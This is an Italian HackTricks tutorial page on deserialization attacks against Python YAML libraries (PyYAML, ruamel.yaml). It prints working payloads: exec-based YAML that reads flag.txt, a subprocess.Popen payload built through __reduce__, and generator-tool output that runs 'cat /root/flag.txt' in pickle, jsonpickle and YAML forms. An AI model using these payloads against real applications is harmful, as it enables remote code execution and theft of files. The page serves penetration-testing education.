# Deserializzazione Yaml in Python
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
## **Deserializzazione** Yaml Le librerie python **Yaml** sono in grado di **serializzare oggetti python** e non solo dati grezzi: ``` print(yaml.dump(str("lol"))) lol ... print(yaml.dump(tuple("lol"))) !!python/tuple - l - o - l print(yaml.dump(range(1,10))) !!python/object/apply:builtins.range - 1 - 10 - 1 ``` Verifica come la **tuple** non è un tipo di dati grezzo e quindi è stata **serializzata**. E lo stesso è successo con il **range** (preso dai builtins). ![](<../../.gitbook/assets/image (1040).png>) **safe\_load()** o **safe\_load\_all()** utilizzano SafeLoader e **non supportano la deserializzazione degli oggetti di classe**. Esempio di deserializzazione degli oggetti di classe: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader data = b'!!python/object/apply:builtins.range [1, 10, 1]' print(yaml.load(data, Loader=UnsafeLoader)) #range(1, 10) print(yaml.load(data, Loader=Loader)) #range(1, 10) print(yaml.load_all(data)) # print(yaml.load_all(data, Loader=Loader)) # print(yaml.load_all(data, Loader=UnsafeLoader)) # print(yaml.load_all(data, Loader=FullLoader)) # print(yaml.unsafe_load(data)) #range(1, 10) print(yaml.full_load_all(data)) # print(yaml.unsafe_load_all(data)) # #The other ways to load data will through an error as they won't even attempt to #deserialize the python object ``` Il codice precedente ha utilizzato **unsafe\_load** per caricare la classe Python serializzata. Questo perché nella **versione >= 5.1**, non consente di **deserializzare qualsiasi classe Python serializzata o attributo della classe**, con Loader non specificato in load() o Loader=SafeLoader. ### Exploit di Base Esempio su come **eseguire un sleep**: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader data = b'!!python/object/apply:time.sleep [2]' print(yaml.load(data, Loader=UnsafeLoader)) #Executed print(yaml.load(data, Loader=Loader)) #Executed print(yaml.load_all(data)) print(yaml.load_all(data, Loader=Loader)) print(yaml.load_all(data, Loader=UnsafeLoader)) print(yaml.load_all(data, Loader=FullLoader)) print(yaml.unsafe_load(data)) #Executed print(yaml.full_load_all(data)) print(yaml.unsafe_load_all(data)) ``` ### .load("\") vulnerabile senza Loader Le **vecchie versioni** di pyyaml erano vulnerabili agli attacchi di deserializzazione se non **specificavi il Loader** durante il caricamento di qualcosa: `yaml.load(data)` Puoi trovare la [**descrizione della vulnerabilità qui**](https://hackmd.io/@defund/HJZajCVlP)**.** L'**exploit** proposto in quella pagina è: ```yaml !!python/object/new:str state: !!python/tuple - 'print(getattr(open("flag\x2etxt"), "read")())' - !!python/object/new:Warning state: update: !!python/name:exec ``` Oppure potresti utilizzare questo **one-liner fornito da @ishaack**: ```yaml !!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]} ``` Nota che nelle **versioni recenti** non puoi **più chiamare `.load()`** **senza un `Loader`** e il **`FullLoader`** non è più vulnerabile a questo attacco. ## RCE Payload personalizzati possono essere creati utilizzando moduli YAML di Python come **PyYAML** o **ruamel.yaml**. Questi payload possono sfruttare vulnerabilità nei sistemi che deserializzano input non attendibile senza una corretta sanificazione. ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader import subprocess class Payload(object): def __reduce__(self): return (subprocess.Popen,('ls',)) deserialized_data = yaml.dump(Payload()) # serializing data print(deserialized_data) #!!python/object/apply:subprocess.Popen #- ls print(yaml.load(deserialized_data, Loader=UnsafeLoader)) print(yaml.load(deserialized_data, Loader=Loader)) print(yaml.unsafe_load(deserialized_data)) ``` ### Strumento per creare Payloads Lo strumento [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) può essere utilizzato per generare payload di deserializzazione python per abusare di **Pickle, PyYAML, jsonpickle e ruamel.yaml:** ```bash python3 peas.py Enter RCE command :cat /root/flag.txt Enter operating system of target [linux/windows] . Default is linux :linux Want to base64 encode payload ? [N/y] : Enter File location and name to save :/tmp/example Select Module (Pickle, PyYAML, jsonpickle, ruamel.yaml, All) :All Done Saving file !!!! cat /tmp/example_jspick {"py/reduce": [{"py/type": "subprocess.Popen"}, {"py/tuple": [{"py/tuple": ["cat", "/root/flag.txt"]}]}]} cat /tmp/example_pick | base64 -w0 gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSFlFKULg== cat /tmp/example_yaml !!python/object/apply:subprocess.Popen - !!python/tuple - cat - /root/flag.txt ``` ### Riferimenti * [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf) * [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)! Altri modi per supportare HackTricks: * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.